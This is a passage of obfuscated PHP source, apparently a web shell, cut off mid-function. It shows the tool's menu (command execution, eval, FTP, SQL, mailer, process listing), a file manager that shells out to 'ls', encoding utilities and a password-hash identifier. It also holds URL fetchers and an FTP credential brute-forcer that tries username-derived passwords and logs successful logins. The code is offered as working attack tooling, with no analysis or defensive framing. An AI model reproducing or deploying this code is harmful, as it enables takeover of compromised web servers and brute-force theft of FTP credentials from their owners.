(($sh_exec||$safe_exec)?z7v(z9y("27"),"cmd",($act=="cmd")):\'\'). z7v(z9y("28"),"eval",($act=="eval")). ($bftp?z7v(z9y("193"),"ftp",($act=="ftp")):\'\'). z7v(z9y("29"),"sql",($act=="sql")). ($bmail?z7v(z9y("30"),"mailer",($act=="mailer")):\'\'). z7v(z9y("31"),"encoders",($act=="encoders")). z7v(z9y("32"),"tools",($act=="tools")). ($sh_exec?z7v(z9y("33"),"processes",($act=="processes")):\'\'). z7v(z9y("34"),"sysinfo",(@in_array($act,array("sysinfo","phpinfo")))).z7v(" ",false,"")),\'4\'); } function z8w($i,$s){ return ($s)?z7q(@substr($i[1],4)):z7q(@substr($i[1],0,4)); } function z1j($t){ $t=@str_replace(\'\\',\'/\',$t); if(@strstr($t,\'//\')){ while(@strstr($t,\'//\')!==false) $t = @str_replace(\'//\',\'/\',$t); } return $t; } function z1k($t){ $t=z1j($t); if(@substr($t,-1)!=\'/\') $t.=\'/\'; if(@preg_match(\'/[^\/
"\']+\/\.\.\//\', $t)) $t = @preg_replace(\'/[^\/
"\']+\/\.\.\//\', \'\', $t); if($t==\'/../\') $t= \'/\'; if($t!=\'./\'&&@strstr($t,\'./\')!==false) $t=@str_replace(\'./\',\'\',$t); return $t; } function z2v($f,$t,$c){ if(@strstr($c,$f)) while(@strstr($c,$f)) $c=@str_replace($f,$t,$c); return $c; } function z1n($action){ global $d,$win; if(!$win) return \'\'; $e=@explode("/",$d); $r=\'\'; foreach(@range("B","Z") as $let){ if($let.":"!=@strtoupper($e[0])&&z4r($let.":/")){ $r .= z5x(array("act"=>$action,"d"=>@strtoupper($let).":/"),z8b("[$let]","1")).z9x(2); } } return $r; } function z1m($t,$ftp=0){ global $win; $def="/"; if($win&&!$ftp){ $path=@realpath(__FILE__); $def=@substr($path,0,1).":/"; } if(@substr($t,-1)==\'/\') $t=@substr($t,0,-1); if(@empty($t)) return array($def); $e=@explode(\'/\', $t); $d=array(); if($win&&!$ftp){ $p=\'\'; } else { $p=\'/\'; } for($i=0; $i < @count($e); $i++){ if(@empty($e[$i])){ $d[\'/\']=\'/\'; } else { $p.=$e[$i].\'/\'; $d[$p]=$e[$i]; } } return $d; } function z1v($n,$a=array(),$c=\'\',$g=\'\',$t=\'1\',$s=\'\'){ $r=\'<select name="\'.$n.\'"\'.($c!=\'\'?\' class="\'.z4m($c,\'4\').\'"\':\'\').($s!=\'\'?(@is_numeric($s)?\' \'.z10r($s):\' \'.$s):\'\').\'>\'."
"; if($g!=\'\') global ${$n}; foreach($a as $k=>$v){ $r.=\'<option value="\'.($t==\'1\'?$k:$v).\'"\'.(($g!=\'\' && ($t==\'1\'? $k : $v) ==${$n})?\' selected\':\'\').\'>\'.($t==\'1\'? $v : $k).\'</option>\'."
"; } $r.=\'</select>\'; return $r; } function z3m($n,$a=array(),$c=\'\',$g=\'\',$s=\'\'){ return z1v($n,$a,$c,$g,\'1\',$s); } function z2k($n,$a=array(),$c=\'\',$g=\'\',$s=\'\'){ return z1v($n,$a,$c,$g,\'0\',$s); } function z8n($t=0){ global $d,$ftp_current_dir; $a=((!$t||$t==\'l\')?z1m($d):z1m($ftp_current_dir,1)); $c=@count($a); $i=0; $n=\'\'; foreach($a as $k=>$v){ $i++; $n.=z5x(($t===0?array(\'act\'=>\'ls\',\'d\'=>$k):($t==\'l\'? array(\'act\'=>\'ftp\',\'d\'=>$k): array(\'act\'=>\'ftp\',\'d\',\'ftp_current_dir\'=>$k))),z8b($v,\'1\').(($v!=\'/\'&&$i!=$c)?\' / \':\' \')); } echo z10w(z7u(z7k((!$t?z5x(array(\'act\'=>\'ls\',\'d\'=>z3a(__FILE__)),z8h(\'small_home\',\'\',\'9\')).z9x().z1n("ls"):\'\').$n.(!$t?\' (\'.z6t(z9w(@fileperms($d)),z6g($d)).\')\':\'\'))),\'5\'); } function z2n(){ global $d; echo z3q(z10w(z7u( z6l(z5x(array(\'act\'=>\'f\',\'d\'), z7n(z9y("35")).z6u(\'f\',$d,\'0\').z3m(\'ft\',array(\'functions\'=>z9y("74"),\'edit\'=>z9y("75"),\'new\'=>z9y("195")),\'1\').z8b(\'»\',\'7\')),\'\'). z6l(z5x(array(\'act\'=>\'d\',\'dold\'=>$d), z7n(z9y("36")).z6u(\'d\',$d,\'0\').z3m(\'dt\',array(\'chdir\'=>z9y("425"),\'new\'=>z9y("195")),\'1\').z8b(\'»\',\'7\')),\'\') ),\'2\'),\'\'); } function z5r($s){ $a=@preg_replace(\'/[^0-9]/\',\'\',$s); if(@empty($a)) $a="0"; $b=@substr($s,-1); if($b!=\'d\') $b=\'a\'; return array($a,$b); } function z2b($a,$b){ global $v; return @strnatcmp(@strtolower($a[$v]),@strtolower($b[$v])); } function z9h($d){ global $with_ls; $r=array(); $ls=@str_replace(\'\\',\'\',z9e(\'ls -a "\'.$d.\'" 2>/dev/null\',0)); $e=@explode("
",$ls); if(@count($e)>0){ $with_ls=1; foreach($e as $p){ if($p!=\'\'&&$p!=$d&&!@in_array($d.$p, $r)) $r[]=$d.$p; } } return $r; } function z4s($pn,$t=\'f\'){ if($t==\'d\'){ $ls=@str_replace(\'\\',\'\',z9e(\'ls -dla "\'.$pn.\'" 2>/dev/null\',0)); } else { $ls=@str_replace(\'\\',\'\',z9e(\'ls -la "\'.$pn.\'" 2>/dev/null\',0)); } $el=@explode("
",$ls); if(@count($el)>0){ $l=$el[0]; } else { $l=$ls; } if(@strstr($l,\'->\')){ $ll=@explode(\'->\',$l); if(@count($ll)>2){ @array_pop($ll); $l=@implode(\'->\',$ll); } else { $l=@trim($ll[0]); } } $len=@strlen($l); $pnl=(@strlen($pn)+1); if(@substr($l, -$pnl)==" ".$pn){ $pi=@substr($l,0,($len-$pnl)); $pi=z2v(\' \',\' \',$pi); $p2=@explode(" ",$pi); if(@count($p2)>5){ $pp=$p2[0]; $pu=$p2[2]; $pg=$p2[3]; $ps=$p2[4]; if(!@is_numeric($ps) && @substr($ps,-1)=="," && @is_numeric($p2[5])){ $ps.=$p2[5]; $st=6; } else { $st=5; } if(@is_numeric($ps)) $ps=z7x($ps); $pd=\'\'; for($i=$st;$i<@count($p2);$i++) $pd .=$p2[$i].\' \'; $pd=@trim($pd); if(z7e(\'strtotime\') && ($s2t=@strtotime($pd))!==false) $pd=@date("Y-m-d H:i", $s2t); if($pp[0]=="l"){ return array($pn,\'LINK\',$pd,array($pu,$pg),$pp); }elseif($pp[0]=="d"){ return array($pn,\'DIR\',$pd,array($pu,$pg),$pp); }else{ return array($pn,$ps,$pd,array($pu,$pg),$pp); } } } return array(\'\',\'\',\'\',array(\'\',\'\'),\'\'); } function z8x($d){ global $nix, $sh_exec, $act, $lswf; $d=z1k($d); if(@substr($d,-1)!=\'/\') $d.=\'/\'; $r=array(); $lswf=\'\'; if(z7e(\'scandir\')&&($h=@scandir($d))){ foreach($h as $t) $r[]=$d.$t; $lswf=\'scandir\'; } elseif(z7e(\'dir\')&&($h=@dir($d))){ while(($t=$h->read())!==false) $r[]=$d.$t; $h->close(); $lswf=\'dir\'; } elseif(z7e(\'opendir\')&&z7e(\'readdir\')&&z7e(\'closedir\')&&($h=@opendir($d))){ while(($t=@readdir($h))!==false) $r[]=$t; @closedir($h); $lswf=\'opendir\'; } elseif($nix && $sh_exec && ($act=="ls"||$act=="search") && @count($r=z9h($d))>0){ $lswf=\'ls\'; return $r; } elseif(z7e(\'glob\') && ($h=@glob($d.\'*\'))!==false){ if(@count($h)>0){ foreach($h as $t) $r[]=$t; } if(($h=@glob($d.\'.*\'))!==false && @count($h)>0){ foreach($h as $t) $r[]=$t; } if(@count($r)>0 && !@in_array($d.\'.\',$r)) $r[]=$d.\'.\'; if(@count($r)>0 && !@in_array($d.\'..\',$r)) $r[]=$d.\'..\'; $lswf=\'glob\'; } if(@count($r)>0) @sort($r); return $r; } function z8c(){ return (@isset($value)?$value:\'unknown\'); } function z4i(){ global $use_images,$use_buffer,$act,$bcopy,$bcut,$showbuf,$d,$with_ls,$lswf,$filter; $f_a=array(\'all\'=>z9y("37"),\'dirs\'=>z9y("38"),\'files\'=>z9y("39"),\'archives\'=>z9y("40"),\'exes\'=>z9y("41"),\'php\'=>z9y("42"),\'html\'=>z9y("43"),\'text\'=>z9y("44"),\'images\'=>z9y("45"),\'other\'=>z9y("46")); $fs=\'\'; foreach($f_a as $fk=>$f) $fs .= z5x(array(\'act\',\'d\',\'showbuf\',\'filter\'=>$fk),z8b($f,( ((@isset($filter)&&$filter==$fk) || (!@isset($filter)&&$fk==\'all\') )? \'17\' : \'16\') )); $ba=z5x(array(\'act\',\'d\',\'use_buffer\'=>($use_buffer ? \'0\' : \'1\')), z8b(($use_buffer ? z9y("50") : z9y("49")),\'16\')); if($use_buffer && (@count($bcopy)>0||@count($bcut)>0)){ $bbcopy=(@count($bcopy)>0); $bbcut=(@count($bcut)>0); $ba.=z5x(array(\'act\'=>\'ls\',\'d\',\'emptybuf\'=>\'1\'), z8b(z9y("51"),\'16\')).((!@isset($showbuf)||!$showbuf) ? z5x(array(\'act\'=>\'ls\',\'d\',\'showbuf\'=>\'1\'), z8b(z9y("52"),\'16\')).($bbcopy?z5x(array(\'act\'=>"d",\'d\',\'dt\'=>\'bpastecopy\',\'showbuf\'), z8b(z9y("54"),\'16\')):\'\').($bbcut?z5x(array(\'act\'=>"d",\'d\',\'dt\'=>\'bpastecut\',\'showbuf\'), z8b(z9y("55"),\'16\')):\'\').(($bbcopy&&$bbcut)?z5x(array(\'act\'=>"d",\'d\',\'dt\'=>\'bpasteall\',\'showbuf\'), z8b(z9y("56"),\'16\')):\'\') : z5x(array(\'act\'=>\'ls\',\'d\'), z8b(z9y("53"),\'16\'))); } if(!@isset($lswf)) $lswf=\'\'; echo z10w(z7u(z6l($fs.z5x(array(\'act\',\'d\',\'showbuf\',\'use_images\'=>($use_images?\'0\':\'1\')),z8b(($use_images?z9y("48"):z9y("47")),\'16\')).$ba,\'11\')),\'7\'); } function z1q($t, $filter,$tt){ global $index; if(z2l($t)==\'..\') return 1; switch($filter){ case \'dirs\': return ($tt==\'d\'); case \'files\': return ($tt==\'f\'||$tt==\'e\'); case \'exes\': return ($tt==\'e\'||(($tt==\'f\'||$tt==\'e\') && @preg_match(\'/\.(\'.@implode(\'|\',@array_merge($index[\'cmd\'],$index[\'pl\'])).\')$/i\', $t))); case \'archives\': return (($tt==\'f\'||$tt==\'e\') && @preg_match(\'/\.(\'.@implode(\'|\',$index[\'tar\']).\')$/i\', $t)); case \'php\': return (($tt==\'f\'||$tt==\'e\') && @preg_match(\'/\.(\'.@implode(\'|\',$index[\'php\']).\')$/i\', $t)); case \'html\': return (($tt==\'f\'||$tt==\'e\') && @preg_match(\'/\.(\'.@implode(\'|\',$index[\'html\']).\')$/i\', $t)); case \'text\': return (($tt==\'f\'||$tt==\'e\') && @preg_match(\'/\.(\'.@implode(\'|\',@array_merge($index[\'txt\'],$index[\'wri\'],$index[\'doc\'])).\')$/i\', $t)); case \'images\': return (($tt==\'f\'||$tt==\'e\') && @preg_match(\'/\.(\'.@implode(\'|\',$index[\'jpg\']).\')$/i\', $t)); case \'other\': return($tt==\'f\' && !@preg_match(\'/\.(\'.@implode(\'|\',@array_merge($index[\'tar\'], $index[\'php\'], $index[\'html\'], $index[\'jpg\'], $index[\'txt\'],$index[\'wri\'],$index[\'doc\'],$index[\'cmd\'],$index[\'pl\'])).\')$/i\', $t)); default: return 1; } } function z0o($f,$t=\'\',$d=0){ global $use_buffer, $bcut, $bcopy, $with_ls,$external,$bziparchive,$reg_archives,$nix,$sh_exec; if($d==0){ $d=z3a($f); } else { global $d; } $f=z2l($f); $a=array(); $a[\'functions\']=z9y("74"); $a[\'edit\']=z9y("75"); if(@isset($reg_archives)&&$reg_archives!=\'\'){ if(@preg_match(\'/\.(\'.$reg_archives.\')$/\',$f,$m)){ if(@isset($m[1])){ if($m[1]!="zip"||($m[1]=="zip"&&$nix&&$sh_exec)) $a[\'extract\']=z9y("478",$m[1]); if($m[1]=="zip"&&$bziparchive) $a[\'extractzip\']=z9y("478","zip (php)"); } } } if($use_buffer&&(!@isset($with_ls)||!$with_ls)&&(!@isset($external)||!$external)){ $a[\'bcopy\']=(@in_array($f,$bcopy)?z9y("69"):z9y("67")); $a[\'bcut\']=(@in_array($f,$bcut)?z9y("70"):z9y("68")); } $a[\'delete\']=z9y("72"); if(!@isset($external)||!$external) $a[\'rename\']=z9y("73"); $a[\'download\']=z9y("76"); return z5x(array(\'act\'=>\'f\',\'f\'=>$f,\'d\'=>$d,\'showbuf\'), z3m(\'ft\',$a,\'3\').z8b(\'»\',\'6\'),$t); } function z1r($tt,$t=\'\'){ global $use_buffer, $bcopy, $bcut, $with_ls,$showbuf; $a=array(); $a[\'chdir\']=z9y("425"); $a[\'functions\']=z9y("74"); if($use_buffer&&(!@isset($with_ls)||!$with_ls)){ $a[\'bcopy\']=(@in_array($tt,$bcopy)?z9y("69"):z9y("67")); $a[\'bcut\']=(@in_array($tt,$bcut)?z9y("70"):z9y("68")); if(!@isset($showbuf)||!$showbuf){ if(@count($bcopy)>0) $a[\'bpastecopy\']=z9y("54"); if(@count($bcut)>0) $a[\'bpastecut\']=z9y("55"); if(@count($bcopy)>0&&@count($bcut)>0) $a[\'bpasteall\']=z9y("56"); } } $a[\'rename\']=z9y("73"); $a[\'delete\']=z9y("72"); return z5x(array(\'act\'=>\'d\',\'d\',\'tt\'=>$tt,\'showbuf\'), z3m(\'dt\',$a,\'3\').z8b(\'»\',\'6\'),$t); } function z0z($d,$t){ return z5x(array(\'act\'=>\'d\',\'d\'=>$d), z3m(\'dt\',array(\'chdir\'=>z9y("425")),\'3\').z8b(\'»\',\'6\'),$t); } function z0w($d){ return z5x(array(\'act\'=>\'ftp\',\'flsort\',\'ffsort\',\'d\'=>$d), z3m(\'chdir\',array(\'\'=>z9y("425")),\'3\').z8b(\'»\',\'6\')); } function z0q($t){ return z5x(array(\'act\'=>\'ftp\',\'flsort\',\'ffsort\',\'d\',\'rd\'=>$t), z3m(\'ft\',array(\'chdir\'=>z9y("425")),\'3\').z8b(\'»\',\'6\')); } function z0t($t){ return z5x(array(\'act\'=>\'ftp\',\'flsort\',\'ffsort\',\'d\',\'lt\'=>$t), z3m(\'ft\',array(\'upload\'=>z9y("197"),\'delete\'=>z9y("199")),\'3\').z8b(\'»\',\'6\')); } function z0r($t){ return z5x(array(\'act\'=>\'ftp\',\'flsort\',\'ffsort\',\'d\',\'rt\'=>$t), z3m(\'ft\',array(\'download\'=>z9y("198"),\'delete\'=>z9y("199")),\'3\').z8b(\'»\',\'6\')); } function z4r($t){ if(z4e($t)||z4j($t)||z4q($t)||z1y($t)||z0n($t)||z5i($t)) return 1; return 0; } function z2i($f,$t){ global $nix, $sh_exec; if(@file_exists($f)){ if($t==\'f\') return @is_file($f); if($t==\'d\') return @is_dir($f); if($t==\'L\') return @is_link($f); if($t==\'r\') return @is_readable($f); if($t==\'w\') return @is_writable($f); if($t==\'x\') return @is_executable($f); }elseif($nix&&$sh_exec){ $h=z9e(\'if [ -\'.$t.\' "\'.$f.\'" ]; then echo "istrue"; else echo "isfalse"; fi\',0); return (@strstr($h,"istrue")&&!@strstr($h,"isfalse")); } return 0; } function z4e($f){ return z2i($f,\'f\'); } function z4j($f){ return z2i($f,\'d\'); } function z4q($f){ return z2i($f,\'L\'); } function z1y($f){ return z2i($f,\'r\'); } function z0n($f){ return z2i($f,\'w\'); } function z5i($f){ return z2i($f,\'x\'); } function z7q($i){ $r=\'\';for($n=0;$n<@strlen($i);$n++) $r.=z8i(z8i($i[$n],1)-z8i(1,1),2); return $r; } function z5o(){ echo @str_repeat(\'\',1024); @ob_flush(); @flush(); } function z4u($t,$s){ $l=@strlen($s); if(@substr($t,-$l)==$s) { while(@substr($t,-$l)==$s) $t=@substr($t,0,(@strlen($t)-$l)); } return $t; } function z1f($t,$s=\'/\'){ $t=z1j($t); $t=z4u($t,$s); if(!@strstr($t,$s)) return array(); $e=@explode($s,$t); $f=$e[(@count($e)-1)]; $l=(@strlen($t)-@strlen($f)); $d=@substr($t,0,$l); return array(z1k($d),$f); } function z3a($t,$s=\'/\'){ $e=z1f($t,$s); return (@count($e)==2 ? $e[0] : \'./\'); } function z2l($t,$s=\'/\'){ $e=z1f($t,$s); return (@count($e)==2 ? $e[1] : $t); } function z3q($a,$s=\'\'){ $r=\'\'; if(@is_array($a)) { for($i=0;$i<@count($a);$i++) $r.=z7k($a[$i],\'12\',(($i==0)?\'2\'.$s:(($i==(@count($a)-1))?\'3\'.$s:$s))); } else { $r=z7k($a,\'12\',\'23\'.$s); } return z10w(z7u($r),\'3\'); } function z1p($c,$e=\'\') { $s=\'\'; global $index; $i=$index; $a=array(); if($e!=\'\'){ foreach($a as $k=>$v) { if(@in_array($e,$v)){ $s=$k; break; } } } if($s==\'\') $s=$e; if(@in_array($s,array(\'db\',\'sql\',\'pl\',\'cgi\',\'c\', \'cc\', \'cpp\', \'h\', \'hpp\', \'icl\', \'ipp\'))){ $c=@highlight_string(\'<?php\'.$c.\'?>\',true); $p1=@stripos($c,\'<?php\'); $a=@substr($c,0,$p1); $b=@substr($c,$p1+8); $c=$a.$b; $p2=@strripos($c, \'?>\'); $a=@substr($c,0,$p2); $b=@substr($c,$p2+5); $c=$a.$b; } else { $c=@highlight_string($c,true); } $c=@str_replace(array( \'<font color="\', \'</font>\'), array( \'<span style="color: \', \'</span>\' ), $c); $c=@preg_replace(\'/(
|
)/\',\'\',$c); echo \'<pre><code>\'.$c.\'</code></pre>\'; } function z4d($f){ global $filealiases; $r=array(); if(@strstr($f,\'/\')) $f=z2l($f,\'/\'); $ext=@strtolower(z2l($f,\'.\')); foreach($filealiases as $k=>$v){ if(@in_array($ext,$v)) $r[]=$k; } return @array_unique($r); } function z4x($f){ $a=z4d($f); $o=array(\'code\',\'text\'); if(@count($a)>0){ if(@count($a)>1){ foreach($a as $ft){ if(@in_array($ft,$o)) return $ft; } return $a[0]; } else { return $a[0]; } } else { return \'\'; } } function z3r($s){ if(!@preg_match(\'/[A-Z]/i\', $s)) return $s; $s=@strtolower($s); for($i=0; $i<@strlen($s); $i++){ if(@preg_match(\'/[a-z]/\',$s[$i])){ $s[$i]=@strtoupper($s[$i]); return $s; } } return $s; } function z3e($p) {return @decbin(@hexdec($p));} function z4a($p) {return @dechex(@bindec($p));} function z0x($p){$r=\'\';for($i=0;$i<@strLen($p);$i+=2){$r.=@chr(@hexdec($p[$i].$p[$i+1]));}return $r;} function z1i($p){$r=\'\';for($i=0;$i<@strlen($p);++$i)$r.= @sprintf(\'%02X\',@ord($p[$i]));return @strtoupper($r);} function z0b($p){$r=\'\';for($i=0;$i<@strlen($p);++$i)$r.= "\x".@sprintf(\'%02X\',@ord($p[$i])); return @chunk_split($r);} function z0v($p){$r=\'\';for($i=0;$i<@strlen($p);++$i)$r.= "\x".@sprintf(\'%02X\',@ord($p[$i])); return @substr(@preg_replace(\'/.{1,76}/\',"\'\0\'.
",$r),0,-2);return @chunk_split($r);} function z0y($p){$r=\'\';for($i=0;$i<@strlen($p);++$i)$r.= \'%\'.@dechex(@ord($p[$i]));return @strtoupper($r);} function z4v($i){ return @chunk_split(@base64_encode($i)); } function z4p($i){ return @substr(@preg_replace(\'/.{1,76}/\',"\'\0\'.
",@base64_encode($i)),0,-2); } function z3p($t){ $r=\'\'; if(@preg_match_all(\'/(?<strings>[ -~]{4,})[^ -~]?/\',$t,$m)){ foreach($m["strings"] as $s){ $r.=$s."
"; } } return $r; } function z1e(){ $encode_functions=array(); foreach(array( "z3p"=>"Strings", "urlencode"=>"Urlencode", "urldecode"=>"Urldecode", "z0y"=>"Full Urlencode", "rawurlencode"=>"Rawurlencode", "rawurldecode"=>"Rawurldecode", "base64_encode"=>"Base64 Encode", "z4v"=>"Base64 Encode + Chunk", "z4p"=>"Base64 Encode + Chunk + Quotes", "base64_decode"=>"Base64 Decode", "z1i"=>"ASCII to HEX", "z0b"=>"ASCII to HEX + Chunk", "z0x"=>"HEX to ASCII", "z_hexdec"=>"HEX to DEC", "z3e"=>"HEX to BIN", "dechex"=>"DEC to HEX", "decbin"=>"DEC to BIN", "z4a"=>"BIN to HEX", "bindec"=>"BIN to DEC", "strtolower"=>"String to lowercase", "strtoupper"=>"String to UPPERCASE", "htmlspecialchars"=>"Htmlspecialchars", "strlen"=>"String Length", "strrev"=>"Reverse String" ) as $key=>$val){ if(z7e($key)||z7e(@substr($key,0,@strlen($key)-1))){ $encode_functions[$key]="$val"; } } return $encode_functions; } function z4o($h){ return (@preg_match(\'/^[0-9a-fA-F]+$/\',$h) ? 1:0); } function z1g($h){ return (@preg_match(\'/^[0-9a-zA-Z+\/.]+==$/\',$h) ? 1:0); } function z2e($h){ $l=@strlen($h); $r=\'Unknown\'; if($l===32){ if(z4o($h)){ $r=\'MD5 / MD4 / MD2 / NTLM / Tiger128 / SNEFRU128 / RipeMD128 / Haval128_3 / Haval128_4 / Haval128_5 / Domain Cached Credentials\'; } elseif(@preg_match(\'/^[0-9A-F]+$/\',$h)){ $r=\'Windows-LM / Windows-NTLM / RC4\'; } elseif(@preg_match(\'/^[0-9a-zA-Z+\/.]+$/\',$h)){ $r=\'Haval192 (Base64) / Tiger-192 (Base64)\'; } }elseif($l===40){ if(z4o($h)){ $r=\'SHA-0 / SHA-1 / Tiger160 / RipeMD160 / MySQL v5.x / Haval160 / Haval160_3 / Haval160_4 / Haval160_5\'; } }elseif($l===8){ if(z4o($h)){ $r=\'ADLER32 / CRC-32 / CRC-32B / GHash-32-3 / GHash-32-3\'; } }elseif($l===13){ if(@preg_match(\'/^[0-9a-zA-Z\/.]$/\',$h)){ $r=\'DES (Unix)\'; } }elseif($l===16){ if(z4o($h)){ $r=\'MySQL\'; } }elseif($l===4){ if(z4o($h)){ $r=\'CRC-16 / CRC-16-CCITT / FCS-16\'; } }elseif($l===34){ if(@preg_match(\'/^\$1\$[0-9a-zA-Z\/.]{8}\$[0-9a-zA-Z\/.]{22} $/\',$h)){ $r=\'MD5 (Unix)\'; } elseif(@preg_match(\'/^\$P\$B[0-9a-zA-Z\/.]$/\',$h)){ $r=\'MD5(WordPress)\'; } elseif(@preg_match(\'/^\$H\$9[0-9a-zA-Z\/.]$/\',$h)){ $r=\'MD5(PhpBB3)\'; } }elseif($l===128){ if(z4o($h)){ $r=\'SHA-512 / WHIRLPOOL / SALSA20\'; } }elseif($l===96){ if(z4o($h)){ $r=\'SHA-384\'; } }elseif($l===48){ if(z4o($h)){ $r=\'Haval192 / Haval192_4 / Haval192_5 / Tiger192 / Tiger2 / SALSA10\'; } }elseif($l===56){ if(z4o($h)){ $r=\'Haval224 / Haval244_3 / Haval244_4 / SHA224\'; } if(z1g($h)){ $r=\'RipeMD320 (Base64)\'; } }elseif($l===64){ if(z4o($h)){ $r=\'SNEFRU256 / SHA-256 / RipeMD256 / Panama / Haval256 / Haval256_3 / Haval256_4 / Haval256_5\'; } elseif(@preg_match(\'/^[0-9a-zA-Z+\/.]+$/\',$h)){ $r=\'SHA384 (Base64)\'; } }elseif($l===37){ if(@preg_match(\'/^\$apr1\$[0-9a-zA-Z\/.]{8}\$[0-9a-zA-Z\/.]{22} $/\',$h)){ $r=\'MD5 (APR)\'; } }elseif($l===80){ if(z4o($h)){ $r=\'RipeMD320\'; } }elseif($l===24){ if(z1g($h)){ $r=\'Haval128 (Base64) / MD2 (Base64) / MD4 (Base64) / MD5 (Base64) / RipeMD128 (Base64) / SNEFRU128 (Base64) / Tiger128 (Base64)\'; } }elseif($l===28){ if(@preg_match(\'/^[0-9a-zA-Z+\/.]+=$/\',$h)){ $r=\'SHA-1 (Base64) / Haval160 (Base64) / RipeMD160 (Base64) / Tiger160 (Base64)\'; } }elseif($l===44){ if(@preg_match(\'/^[0-9a-zA-Z+\/.]+=$/\',$h)){ $r=\'Haval256 (Base64) / RipeMD256 (Base64) / SHA256 (Base64) / SNEFRU256 (Base64)\'; } }elseif($l===88){ if(z1g($h)){ $r=\'SHA512 (Base64) / WHIRLPOOL (Base64)\'; } }elseif($l===9){ if(@is_numeric($h)){ $r=\'Elf-32\'; } } return $r; } function z3i(){ global $tmonth_arr,$tday_arr,$tyear_arr,$thour_arr,$tmin_arr,$tsec_arr; $tmonth_arr=array(""=>"Month"); $tday_arr=array(""=>"Day"); $tyear_arr=array(""=>"Year"); $thour_arr=array(""=>"Hour"); $tmin_arr=array(""=>"Min"); $tsec_arr=array(""=>"Sec"); foreach(array("January","February","March","April","May","June","July","August","September","October","November","December") as $tmm) $tmonth_arr[$tmm]=$tmm; for($i=1;$i<=31;$i++) $tday_arr[$i]=$i; for($i=1998;$i<=@date("Y");$i++) $tyear_arr[$i]=$i; for($i=1;$i<=24;$i++) $thour_arr[$i]=$i; for($i=1;$i<60;$i++){ $tmin_arr[$i]=$i; $tsec_arr[$i]=$i; } } function z2q(){ global $nix,$sh_exec,$ft,$d,$f; $r=\'\'; $a=array(\'functions\'=>z9y("74"),\'edit\'=>z9y("75"),\'text\'=>z9y("79"),\'code\'=>z9y("80"),\'html\'=>z9y("81"),\'htmls\'=>z9y("82"),\'exe\'=>z9y("83"),\'sess\'=>z9y("84"),\'sdb\'=>z9y("85"),\'ini\'=>z9y("86"),\'img\'=>z9y("87"),\'hex\'=>z9y("88")); if(($wwwdir=z3n())!==false){ if(@strstr($d.$f,$wwwdir)!==false){ $a[\'web\']=z9y("89"); } } $a[\'download\']=z9y("76"); $fta=z4d($f); foreach($a as $k=>$v){ if($k!=\'exe\'||($k==\'exe\' &&$sh_exec)) $r.=z7k(z5x(array(\'act\'=>\'f\',\'d\',\'f\',\'ft\'=>$k),z8b($v, (($ft==$k)? \'12\' : ((@in_array($k,$fta)) ? \'13\':\'14\') ) )) ); } echo z7a(z7u($r)); } function z5d($d){ global $found, $found_d, $found_f, $search_i_f, $search_i_d, $ar, $with_ls,$s_rec,$sdir; $d=z1k($d); $h=z8x($d); if(count($h)>0){ foreach($h as $f){ $f=z2l($f); if($f!="."&&$f!=".."&&$f!=\'\'){ $bool=(@empty($ar["sn_reg"]) && @strpos($f,$ar["sn"])!==false)||($ar["sn_reg"] && @preg_match("/".$ar["sn"]."/",$f)); if(z4j($d.$f)){ $search_i_d++; if(@empty($ar["st"]) && (@empty($ar["s_fd"])||$ar["s_fd"]=="2") && $bool){ $found[]=$d.$f; $found_d++; } if(!z4q($d.$f)){ if(@empty($s_rec)){ z5d($d.$f); } elseif(@is_numeric($s_rec)){ $countrec=@count(@explode(\'/\',@substr($d.$f,@strlen($sdir)))); if($countrec<=$s_rec) z5d($d.$f); } } }else{ if(@empty($ar["s_fd"])||$ar["s_fd"]=="1"){ $search_i_f++; if($bool){ if(!@empty($ar["st"])){ $r=z9o($d.$f); if($ar["st_wwo"]){ $ar["st"]=" ".@trim($ar["st"])." "; } if(!$ar["st_cs"]){ $ar["st"]=@strtolower($ar["st"]); $r=@strtolower($r); } if($ar["st_reg"]){ $bool=@preg_match("/".$ar["st"]."/",$r); }else{ $bool=@strstr($r,$ar["st"]); } if($ar["st_not"]){ $bool=!$bool; } if($bool){ $found[]=$d.$f; $found_f++; } }else{ $found[]=$d.$f; $found_f++; } } } } } } } } function z3t($u){ $s=@curl_init(); @curl_setopt($s,CURLOPT_URL,$u); @curl_setopt($s,CURLOPT_USERAGENT,z7z(\'2\',\'downloada\')); @curl_setopt($s,CURLOPT_RETURNTRANSFER,true); $r=@curl_exec($s); @curl_close($s); return $r; } function z2h($u){ $r=\'\'; if(!@strstr($u,\'://\')) return $r; $s=@substr($u,0,@strpos($u,\'://\')+3); $uh=@substr($u,@strlen($s)); $e=@explode(\'/\',$uh); $h=$e[0]; $p=@substr($uh,@strlen($h)); $fp=@fsockopen($h,80,$errno,$errstr,30); @fputs($fp,"GET $p HTTP/1.1
"); @fputs($fp,"Host: $h
"); @fputs($fp,"User-Agent: ".z7z(\'2\',\'downloada\')."
"); @fputs($fp,"Connection: close
"); while(!@feof($fp)&&($debug=@fgets($fp))!="
"); while(!@feof($fp)) $r.=@fgets($fp,1024); @fclose($fp); return $r; } function z3l($host,$user,$pass,$port,$timeout){ $ftp=@ftp_connect($host,$port,$timeout); if(!$ftp){ return "failed"; }else{ if(@ftp_login($ftp,$user,$pass)){ return "valid"; }else{ return "invalid"; } @ftp_close($ftp); } } function z2f($host,$port,$time,$try1,$try2,$try3,$try4,$user,$pass=NULL){ $count=0; $success=0; $res=0; $log=""; if($pass!=NULL){ $count++; $res=z3l($host,$user,$pass,$port,$time); if($res=="failed"){ echo "Can\'t connect to $host:$port
"; return false; } if($res=="valid"){ echo "[+] $user:$pass - success
"; $log.="ftp://$host:$port - $user $pass
"; $success++; } if($res!="valid"&&$try4=="1"){ $count++; $res=z3l($host,$user,z9i($pass),$port,$time); if($res=="valid"){ echo "[+] $user:".z9i($pass)." - success
"; $log.="ftp://$host:$port - $user ".z9i($pass)."
"; $success++; } } }else{ $count++; $res=z3l($host,$user,$user,$port,$time); if($res=="failed"){ echo "Can\'t connect to $host:$port
"; return false; } if($res=="valid"){ echo "[+] $user:$user - success
"; $log.="ftp://$host:$port - $user $user
"; $success++; } if($res!="valid"&&$try1=="1"){ $count++; $res=z3l($host,$user,@strrev($user),$port,$time); if($res=="valid"){ echo "[+] $user:".@strrev($user)." - success
"; $log.="ftp://$host:$port - $user ".@strrev($user)."
"; $success++; } } if($res!="valid"&&$try2=="1"){ $count++; $res=z3l($host,$user,$user."1",$port,$time); if($res=="valid"){ echo "[+] $user:".$user."1 - success
"; $log.="ftp://$host:$port - $user ".$user."1
